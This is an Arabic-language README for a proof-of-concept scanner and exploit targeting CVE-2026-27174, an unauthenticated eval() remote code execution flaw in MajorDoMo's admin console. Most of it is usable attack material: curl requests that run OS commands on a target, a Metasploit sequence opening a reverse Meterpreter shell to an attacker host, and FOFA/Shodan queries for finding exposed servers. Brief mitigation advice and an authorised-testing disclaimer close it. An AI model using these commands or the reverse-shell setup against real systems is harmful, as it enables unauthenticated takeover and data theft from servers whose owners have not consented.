
CVE-2026-27174 - تنفيذ تعليمات برمجية عن بُعد بدون مصادقة عبر ميزة وحدة تحكم PHP في لوحة الإدارة
إثبات مفهوم (Proof-of-Concept) يستغل ثغرة تنفيذ كود عن بُعد دون مصادقة عبر ميزة وحدة تحكم PHP في لوحة الإدارة ضمن MajorDomo (Major Domestic Module).
تعرّض لوحة إدارة MajorDoMo وحدة تحكم لتقييم PHP عبر /admin.php. ونظرًا لغياب استدعاء exit بعد إعادة توجيه المصادقة في panel.class.php، يتم تضمين معالج AJAX المسمى inc_panel_ajax.php بشكل غير مشروط — مما يجعل دالة eval() الخاصة به في متناول أي طلب HTTP غير مصادَق.
يمكن للمهاجم تنفيذ كود PHP تعسفي عبر طلب GET واحد فقط، دون الحاجة إلى بيانات اعتماد، أو وصول مسبق، أو أي تفاعل من الضحية.
scan.py هو ماسح متعدد الخيوط وغير مدمر يكتشف المضيفين المعرضين لثغرة CVE-2026-27174 دون تنفيذ أي حمولة ضارة.
يعمل الماسح عبر ثلاث مراحل متتابعة لكل هدف:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
يتم توليد علامة أبجدية رقمية عشوائية لكل طلب لتجنب النتائج الإيجابية الخاطئة الناتجة عن التخزين المؤقت أو جدران حماية الويب (WAFs) أو تلوث الاستجابة.
pip install requests
أنشئ ملف targets.txt بحيث يحتوي كل سطر على IP:PORT واحد:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonيتم إنشاؤه تلقائيًا عند العثور على مضيف معرّض واحد على الأقل:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
| الحقل | الوصف |
|---|---|
target | عنوان IP:PORT الذي تم فحصه |
url | الرابط الكامل الذي تم فيه تأكيد RCE |
rce_php | تأكيد تنفيذ كود PHP (يكون دائمًا true في النتائج) |
disable_functions | إعداد PHP disable_functions على الخادم (null إذا كان فارغًا) |
system_functions_available | دوال تنفيذ أوامر نظام التشغيل التي يمكن للمهاجم استدعاءها |
impact_level | HIGH (تنفيذ أوامر نظام التشغيل متاح) أو MEDIUM (RCE عبر PHP فقط) |
استنادًا إلى قيمة الحقل system_functions_available في ملف result.json، يمكننا صياغة طلب GET باستخدام دالة (أو دوال) النظام لاستغلال ثغرة RCE:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
وحدة Metasploit:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
يمكن لمهاجم عن بُعد دون مصادقة أن:
/etc/passwd, ملفات الإعدادات, بيانات الاعتماد)system أو exec أو shell_exec أو passthruيعتمد الأثر الفعلي على إعداد disable_functions في PHP على الخادم:
| السيناريو | مستوى الأثر | الوصف |
|---|---|---|
عدم وجود disable_functions | CRITICAL | تنفيذ أوامر كامل على مستوى نظام التشغيل |
| قيود جزئية | HIGH | RCE عبر PHP + تنفيذ جزئي لأوامر نظام التشغيل |
disable_functions يمنع جميع دوال التنفيذ | MEDIUM | RCE عبر PHP فقط (قراءة/كتابة الملفات، تسريب البيانات) |
CVSS 4.0 - 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
حدِّث إلى أحدث إصدار من MajorDomo (Major Domestic Module).
| الإجراء | يمنع RCE | يمنع تنفيذ أوامر نظام التشغيل |
|---|---|---|
| تطبيق تصحيح 18 فبراير 2026 | ✅ | ✅ |
قائمة السماح عبر جدار الحماية/عناوين IP على /admin.php | ✅ | ✅ |
تحصين إعداد disable_functions | ❌ | ✅ |
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
هذه الأداة مخصصة لاختبارات الأمن المصرح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.